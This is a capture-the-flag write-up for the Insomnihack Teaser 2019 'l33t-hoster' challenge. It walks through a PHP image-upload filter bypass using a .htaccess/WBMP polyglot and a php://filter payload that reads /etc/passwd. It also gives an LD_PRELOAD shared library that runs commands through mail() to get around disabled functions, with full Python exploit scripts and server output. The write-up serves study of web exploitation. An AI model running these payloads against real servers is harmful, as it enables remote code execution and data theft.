Insomnihack Teaser 2019 / l33t-hoster
January 20, 2019
Description
You can host your l33t pictures here.
The Challenge
Another great challenge by Insomnihack!
This challenge consisted of a file upload service, allowing a user to upload images in a folder created specifically for your session.
By checking the source code, we can find the HTML comment <!-- /?source -->
, suggesting
that we can leak the source code with the GET
parameter source
.
Here is the challenge code :
<?php
if (isset($_GET["source"]))
die(highlight_file(__FILE__));
session_start();
if (!isset($_SESSION["home"])) {
$_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {
mkdir($userdir);
}
$disallowed_ext = array(
"php",
"php3",
"php4",
"php5",
"php7",
"pht",
"phtm",
"phtml",
"phar",
"phps",
);
if (isset($_POST["upload"])) {
if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
die("yuuuge fail");
}
$tmp_name = $_FILES["image"]["tmp_name"];
$name = $_FILES["image"]["name"];
$parts = explode(".", $name);
$ext = array_pop($parts);
if (empty($parts[0])) {
array_shift($parts);
}
if (count($parts) === 0) {
die("lol filename is empty");
}
if (in_array($ext, $disallowed_ext, TRUE)) {
die("lol nice try, but im not stupid dude...");
}
$image = file_get_contents($tmp_name);
if (mb_strpos($image, "<?") !== FALSE) {
die("why would you need php in a pic.....");
}
if (!exif_imagetype($tmp_name)) {
die("not an image.");
}
$image_size = getimagesize($tmp_name);
if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
die("lol noob, your pic is not l33t enough");
}
$name = implode(".", $parts);
move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}
echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {
echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";
?>
<h1>Upload your pics!</h1>
<form method="POST" action="?" enctype="multipart/form-data">
<input type="file" name="image">
<input type="submit" name=upload>
</form>
<!-- /?source -->
Determining the goal of the challenge
The script above allows users to upload files at the location
images/[20_random_bytes_in_hex]/[filename]
.
After a succesful upload, the location of the upload is displayed, allowing the user to visit his file.
We can’t upload any kind of file though. In fact, there are a few constraints we have to respect :
- The uploaded file cannot have a PHP extension (
.php
,.php3
,.phar
, …). - The uploaded file cannot contain
<?
. - The uploaded file has to be a valid image of size 1337x1337.
Assuming that we want to obtain RCE, we need to figure out a way to have PHP code execution without using a PHP extension.
Uploading a .htaccess file could help us with that, but with the image restrictions, we need to find a way to create a valid .htaccess/image polyglot.
Finding a .htaccess/image polyglot candidate
The concept behind an .htaccess/image polyglot is that we need an image file that can be interpreted as an .htaccess file without any errors.
Every image file format starts with a few magic bytes used to identify itself.
For example, PNGs will start with the 4 bytes \x89PNG
. Since \x89PNG
isn’t a valid
.htacces directive, we won’t be able to use the PNG file format for our polyglot.
Therefore, my first attempt was to find a file format with a signature starting with a
#
sign. Since the #
sign is interpreted as a comment in .htaccess files,
the remainder of the image data would be ignored, resulting in a valid .htaccess/image polyglot.
Unfortunately, I couldn’t find an image file format starting with a #
.
Later on, one of my teammates (@Tuan_Linh_98) noticed that lines starting with a
null byte (\x00
) are also ignored in an .htaccess file, just like comments (#
).
Looking through the supported image types for exif_imagetype()
, we can download a sample of each type and check for a signature starting with a null byte.
A good candidate we found was .wbmp
files :
$ xxd original.wbmp | head
00000000: 0000 8930 8620 0000 0000 0000 0000 0000 ...0. ..........
00000010: 0000 0000 0000 0000 0012 4908 0002 0081 ..........I.....
00000020: 0440 0000 0000 0000 0000 0000 2400 0009 .@..........$...
00000030: 2092 4800 0000 0000 0000 0000 1248 4012 .H..........H@.
Creating the .htaccess/image polyglot
In order to make things simpler, we want to find the smallest possible .wbmp
file
we can work with. To do so, I used the following PHP script :
<?php
error_reporting(0);
$contents = file_get_contents("../payloads/original.wbmp");
$i = 0;
while (true) {
$truncated = substr($contents, 0, $i);
file_put_contents("truncated.wbmp", $truncated);
if (exif_imagetype("truncated.wbmp")) break;
$i += 1;
}
echo "Shortest file size : $i\n";
var_dump(exif_imagetype("truncated.wbmp"));
var_dump(getimagesize("truncated.wbmp"));
?>
… resulting in the following output :
$ php solution.php && xxd truncated.wbmp
Shortest file size : 6
int(15)
array(5) {
[0]=>
int(1200)
[1]=>
int(800)
[2]=>
int(15)
[3]=>
string(25) "width="1200" height="800""
["mime"]=>
string(18) "image/vnd.wap.wbmp"
}
00000000: 0000 8930 8620 ...0.
Seems like a valid .wbmp file only requires 6 bytes! We can assume that the width and height are stored in bytes 3-6.
In a hex editor, you can play around with these bytes to figure out how to get a size of 1337x1337. The final image.wbmp of size 1337x1337 looks like this :
$ xxd truncated.wbmp
00000000: 0000 8a39 8a39 ...9.9
From this file, we can append any data we want, and it’ll be considered as valid :
Obtaining PHP code execution
Now that we can upload an .htaccess file, we need to figure out how to get code execution.
Because of the filter on <?
, we can’t simply upload a PHP script and have it executed.
One of the directives we can use in an .htaccess file is php_value
. This directive
allows us to overwrite the value of any of the settings here with the PHP_INI_PERDIR
flag.
Among these settings, there is auto_append_file
, which allows us to specify a file to be
appended and include
d when requesting a PHP file. Turns out that auto_append_file
also allows various wrappers such as php://
.
Let’s try it out. We’ll upload a .htaccess
file specifying a new .corb3nik
extension to
be executed as PHP
, and appending php://filter/convert.base64-encode/resource=/etc/passwd
at the end :
POST /? HTTP/1.1
Host: 35.246.234.136
Content-Length: 393
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRLxLDsJy2MLYk3NT
Cookie: PHPSESSID=asdfasdf
Connection: close
------WebKitFormBoundaryRLxLDsJy2MLYk3NT
Content-Disposition: form-data; name="image"; filename="..htaccess"
Content-Type: application/octet-stream
9
9
AddType application/x-httpd-php .corb3nik
php_value auto_append_file "php://filter/convert.base64-encode/resource=/etc/passwd"
------WebKitFormBoundaryRLxLDsJy2MLYk3NT
Content-Disposition: form-data; name="upload"
Submit
------WebKitFormBoundaryRLxLDsJy2MLYk3NT--
Now we upload a generic trigger.corb3nik
file (the content doesn’t matter) and request it.
$ curl http://35.246.234.136/images/86fd160f5f370ffe1c6c35571bd98b7f0ce64742/trigger.corb3nik
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgo=99
Since we can use php://
, this means we can upload base64-encoded PHP code in a file, base64
decode it via the .htaccess file, and have it evaluated before being appended to the response.
To simplify the process, I created a python script :
#!/usr/bin/env python3
import requests
import base64
VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://35.246.234.136/"
RANDOM_DIRECTORY = "ad759ad95e5482e02a15c5d30042b588b6630e64"
COOKIES = {
"PHPSESSID" : "0e7eal0ji7seg6ac3ck7d2csd8"
}
def upload_content(name, content):
data = {
"image" : (name, content, 'image/png'),
"upload" : (None, "Submit Query", None)
}
response = requests.post(URL, files=data, cookies=COOKIES)
HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .corb3nik
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.corb3nik"
"""
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""
<?php
var_dump("works");
?>
""")
upload_content("..htaccess", HT_ACCESS)
upload_content("shell.corb3nik", TARGET_FILE)
upload_content("trigger.corb3nik", VALID_WBMP)
response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/trigger.corb3nik")
print(response.text)
… and when we run it :
$ python solution.py
�9�9
��
string(5) "works"
We can run PHP code now!
Obtaining command execution
With the python script above, we can run arbitrary PHP code. We tried runnning typical
shell functions such as system()
and exec()
, but soon realized that most of these functions are blocked. Calling phpinfo()
gave us the whole list :
In situations like this, a known technique to get command execution is through the mail()
function.
PHP’s mail()
function calls execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], ...)
.
Because of this implementation, if we were to set the LD_PRELOAD
environment variable
with a custom library, we can modify the behavior of /bin/sh
and gain command execution.
You can read more about this here.
Its worth nothing that this will work even if /usr/sbin/sendmail
isn’t present. We can
demonstrate this with a small PHP script :
<?php
putenv("LD_PRELOAD=garbage");
mail('a','a','a');
?>
$ php index.php
ERROR: ld.so: object 'garbage' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
sh: 1: /usr/sbin/sendmail: not found
For the custom library, we’ll overwrite getuid()
:
$ cat evil.c
/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(char *cmd) {
char buf[512];
strcpy(buf, cmd);
strcat(buf, " > /tmp/_0utput.txt");
system(buf);
}
int getuid() {
char *cmd;
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
if ((cmd = getenv("_evilcmd")) != NULL) {
payload(cmd);
}
return 1;
}
The code above will run system()
with the command specified in the _evilcmd
environment
variable. The output will be sent to /tmp/_0utput.txt
.
Here’s the new Python script for our new exploit (here we’re calling uname -a
):
#!/usr/bin/env python3
import requests
import base64
VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://35.246.234.136/"
RANDOM_DIRECTORY = "ad759ad95e5482e02a15c5d30042b588b6630e64"
COOKIES = {
"PHPSESSID" : "0e7eal0ji7seg6ac3ck7d2csd8"
}
def upload_content(name, content):
data = {
"image" : (name, content, 'image/png'),
"upload" : (None, "Submit Query", None)
}
response = requests.post(URL, files=data, cookies=COOKIES)
HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .corb3nik
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.corb3nik"
"""
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""
<?php
move_uploaded_file($_FILES['evil']['tmp_name'], '/tmp/evil.so');
putenv('LD_PRELOAD=/tmp/evil.so');
putenv("_evilcmd=uname -a");
mail('a','a','a');
echo file_get_contents('/tmp/_0utput.txt');
?>
""")
upload_content("..htaccess", HT_ACCESS)
upload_content("shell.corb3nik", TARGET_FILE)
upload_content("trigger.corb3nik", VALID_WBMP)
files = { "evil" : open("../payloads/evil.so", "rb") }
response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/trigger.corb3nik", files=files)
print(response.text)
$ python solution.py # uname -a
�9�9
��
Linux ab5411ade442 4.15.0-1026-gcp #27-Ubuntu SMP Thu Dec 6 18:27:01 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ python solution.py # ls -lah /
�9�9
��
total 104K
drwxr-xr-x 1 root root 4.0K Jan 20 08:25 .
drwxr-xr-x 1 root root 4.0K Jan 20 08:25 ..
-rwxr-xr-x 1 root root 0 Jan 20 08:25 .dockerenv
drwxr-xr-x 1 root root 4.0K Jan 9 15:45 bin
drwxr-xr-x 2 root root 4.0K Apr 24 2018 boot
drwxr-xr-x 5 root root 360 Jan 20 08:25 dev
drwxr-xr-x 1 root root 4.0K Jan 20 08:25 etc
-r-------- 1 root root 38 Jan 10 15:10 flag
-rwsr-xr-x 1 root root 17K Jan 10 15:10 get_flag
drwxr-xr-x 2 root root 4.0K Apr 24 2018 home
drwxr-xr-x 1 root root 4.0K Nov 12 20:54 lib
drwxr-xr-x 2 root root 4.0K Nov 12 20:55 lib64
drwxr-xr-x 2 root root 4.0K Nov 12 20:54 media
drwxr-xr-x 2 root root 4.0K Nov 12 20:54 mnt
drwxr-xr-x 2 root root 4.0K Nov 12 20:54 opt
dr-xr-xr-x 362 root root 0 Jan 20 08:25 proc
drwx------ 1 root root 4.0K Jan 20 09:58 root
drwxr-xr-x 1 root root 4.0K Jan 9 15:46 run
drwxr-xr-x 1 root root 4.0K Nov 19 21:20 sbin
drwxr-xr-x 2 root root 4.0K Nov 12 20:54 srv
dr-xr-xr-x 13 root root 0 Jan 19 20:39 sys
d-wx-wx-wt 1 root root 4.0K Jan 20 21:28 tmp
drwxr-xr-x 1 root root 4.0K Nov 12 20:54 usr
drwxr-xr-x 1 root root 4.0K Jan 9 15:45 var
$ python solution.py # /get_flag
�9�9
��
Please solve this little captcha:
2887032228 + 1469594144 + 3578950936 + 3003925186 + 985175264
11924677758 != 0 :(
We’re almost there! Seems like we have a captcha to solve in order to get the flag.
Solving the captcha
In order to obtain the flag, we need to solve the equation given by the /get_flag
binary.
The /get_flag
binary waits for less than a second for user input, therefore we will need to
automate the solver.
Running it a few times, we noticed that the equation only does additions.
I’ve decided to create the solver in C :
$ cat captcha_solver.c
#include <string.h>
#include <stdint.h>
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/prctl.h>
int main() {
pid_t pid = 0;
int inpipefd[2];
int outpipefd[2];
pipe(inpipefd);
pipe(outpipefd);
pid = fork();
if (pid == 0) {
dup2(outpipefd[0], STDIN_FILENO);
dup2(inpipefd[1], STDOUT_FILENO);
dup2(inpipefd[1], STDERR_FILENO);
prctl(PR_SET_PDEATHSIG, SIGTERM);
execl("/get_flag", "get_flag", (char*) NULL);
exit(1);
}
close(outpipefd[0]);
close(inpipefd[1]);
char data[0xff] = {0};
// Read first line
for (; data[0] != '\n'; read(inpipefd[0], data, 1));
// Read captcha
read(inpipefd[0], data, 0xff);
uint64_t sum = 0;
char *pch;
printf("Raw : %s\n", data);
pch = strtok (data, "+");
printf("Sum : %lu\n", sum);
while (pch != 0) {
sum += strtoull(pch, 0, 10);
printf("Operand : %lu\n", atol(pch));
printf("Sum : %lu\n", sum);
pch = strtok (0, "+");
}
char result[32] = {0};
sprintf(result, "%lu\n", sum);
printf("Result : %lu\n", sum);
write(outpipefd[1], result, 16);
memset(data, 0, 0xff);
read(inpipefd[0], data, 0xff);
printf("Final : %s", data);
}
The code above basically launches /get_flag
, fetches the equation,
splits it via the +
seperator, sums each part, sends it back to the binary
and prints the flag.
The final PHP code looks like this :
<?php
// Upload the solver and shared library
move_uploaded_file($_FILES['captcha_solver']['tmp_name'], '/tmp/captcha_solver');
move_uploaded_file($_FILES['evil']['tmp_name'], '/tmp/evil_lib');
// Set the captcha_solver as executable
putenv('LD_PRELOAD=/tmp/evil_lib');
putenv("_evilcmd=chmod +x /tmp/captcha_solver");
mail('a','a','a');
// Run the captcha solver
putenv("_evilcmd=cd / && /tmp/captcha_solver");
mail('a','a','a');
// Print output
echo file_get_contents('/tmp/_0utput.txt');
?>
… which results in :
$ python solution.py
�9�9
��
Raw : 4185107874 + 1348303100 + 4161955080 + 4235948880 + 3410743011
Sum : 0
Operand : 4185107874
Sum : 4185107874
Operand : 1348303100
Sum : 5533410974
Operand : 4161955080
Sum : 9695366054
Operand : 4235948880
Sum : 13931314934
Operand : 3410743011
Sum : 17342057945
Result : 17342057945
Final : INS{l33t_l33t_l33t_ich_hab_d1ch_li3b}
Flag : INS{l33t_l33t_l33t_ich_hab_d1ch_li3b}